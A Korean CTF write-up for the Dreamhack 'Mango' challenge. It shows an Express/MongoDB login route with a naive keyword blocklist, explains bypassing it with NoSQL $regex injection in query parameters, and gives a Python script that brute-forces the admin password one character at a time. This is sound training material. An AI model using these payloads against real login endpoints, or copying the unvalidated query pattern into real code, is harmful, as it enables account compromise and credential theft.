일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 웹해킹
- cryptography
- weak key
- Hastad
- Crypto
- XSS
- 드림핵
- RSA Common Modulas Attack
- redirect
- picoCTF
- dns
- spoofing
- overthewire
- arp
- CSRF
- rao
- return address overflow
- OverTheWire Bandit Level 1 → Level 2
- Bandit Level 1 → Level 2
- bandit
- RSA
- Franklin-Reiter Related Message Attack
- shellcode
- dreamhack
- Cube Root Attack
- pycrpytodome
- AES
- 시스템해킹
- 암호학
- Montgomery Reduction
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] Mango 본문
문제
문제 파일 : main.js
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
풀이
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
위 코드를 보면 get 요청으로 uid ,upw 파라미터 값을 입력 받고, filter 함수를 통하여 확인 후 그 값이 db에 있으면 페이지에 uid 를 출력해준다.
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
db 는 mongodb 를 사용하는 것을 알 수 있다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
filter 함수를 자세히 보면 상수 리스트 BAN 에 해당하는 문자열이 있으면 false를 리턴 하고, 결과적으로 페이지에 filter 를 출력한다.
사용자의 입력 값인 uid, upw에 대한 검증은 admin, dh, admi 에 대한 필터링만 적용되어 있으므로 이는 정규표현식을 이용하여 우회할 수 있고, 자료형을 제한하지 않았으므로 injection 공격이 가능하다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
또한 위 주석을 통하여 uid가 admin인 계정의 upw 값이 flag 이고, 32개의 알파벳과 숫자로 이루어진 것을 알 수 있다.
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
파라미터를 입력하면 uid와 upw의 값에 맞는 계정을 찾아 존재하면 그 계정의 uid 를 출력해준다.
여기서 파라미터를 uid=admin 으로 할 경우 필터링되어 filter가 나오므로 정규표현식을 이용하여 우회한다.
파라미터는 /login?uid[$regex]=adm.n 과 같이 하면 된다. 그러면 전달되는 query에는 uid : "$regex" : "adm.n" 으로 되어
admin을 가리키게 된다.
( . 은 정규표현식에서 1개의 문자를 의미한다. )
upw 경우 전체를 한번에 출력할 방법이 없고, 길이가 짧고 범위가 크지 않기 때문에 한 문자씩 구한다.
/login?uid[$regex]=adm.n&upw=D.{a
/login?uid[$regex]=adm.n&upw=D.{b
/login?uid[$regex]=adm.n&upw=D.{ba
/login?uid[$regex]=adm.n&upw=D.{bc.....
...
이런 방법으로 해서 페이지에 admin이 나오면 맞는 문자이다.
DH{ 가 아닌 D.{ 인 이유는 dh 가필터링 되는 문자열이기 때문에 정규표현식을 이용하여 우회했다.
이걸 일일이 32자를 전부 할 수는 없으니 코드를 짜서 자동화 했다.
exploit.py
from requests import *
from string import *
host = 'http://host3.dreamhack.games:11465'
str = digits + ascii_letters
char = ''
flag = ''
for length in range(32):
for ch in str:
char = flag + ch
payload = f'{host}/login?uid[$regex]=adm.n&upw[$regex]=D.{{{char}'
req = get(payload)
if req.text.find("admin") >= 0:
flag += ch
break
print(f'flag is DH{{{flag}}}')
위 코드를 이용하여 flag를 구할 수 있다.
'Dreamhack > Web' 카테고리의 다른 글
[Dreamhack] image-storage (0) | 2023.05.12 |
---|---|
[Dreamhack] command-injection-1 (0) | 2023.05.11 |
[Dreamhack] simple_sqli (0) | 2023.05.07 |
[Dreamhack] csrf-2 (0) | 2023.04.16 |
[Dreamhack] csrf-1 (0) | 2023.04.14 |